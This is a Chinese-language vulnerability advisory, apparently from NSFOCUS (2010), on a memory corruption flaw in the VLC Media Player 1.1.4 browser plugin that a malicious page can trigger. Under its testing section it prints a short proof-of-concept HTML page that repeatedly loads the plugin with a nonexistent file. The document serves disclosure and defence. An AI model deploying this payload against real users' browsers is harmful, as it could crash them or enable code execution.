安全研究
安全漏洞
VLC媒体播放器Mozilla VLC Multimedia插件内存破坏漏洞
发布日期：2010-10-19
更新日期：2010-10-20
受影响系统：VideoLAN VLC Media Player 1.1.4
描述：
BUGTRAQ ID:
44211
VLC Media Player是一款免费的媒体播放器。
VLC Media Player中使用Mozilla VLC Multimedia插件播放嵌入式的音视频文件。如果用户使用安装了该插件的浏览器访问了恶意网站并向不存在的文件传送了src参数，就可能触发内存破坏，导致执行任意代码。
<*来源：shinnai （
shinnai@autistici.org）
链接：
http://secunia.com/advisories/41810/
http://shinnai.altervista.org/exploits/SH-007-20101019.html
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<html>
<body onload="setTimeout('location.reload()', 100);">
<embed type="application/x-vlc-plugin" src="NonExistantFileName.avi"></embed>
</body>
</html>
建议：
厂商补丁：
VideoLAN
--------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.videolan.org/浏览次数：2161
严重程度：0（网友投票）
本安全漏洞由绿盟科技翻译整理，版权所有，未经许可，不得转载
绿盟科技给您安全的保障 |
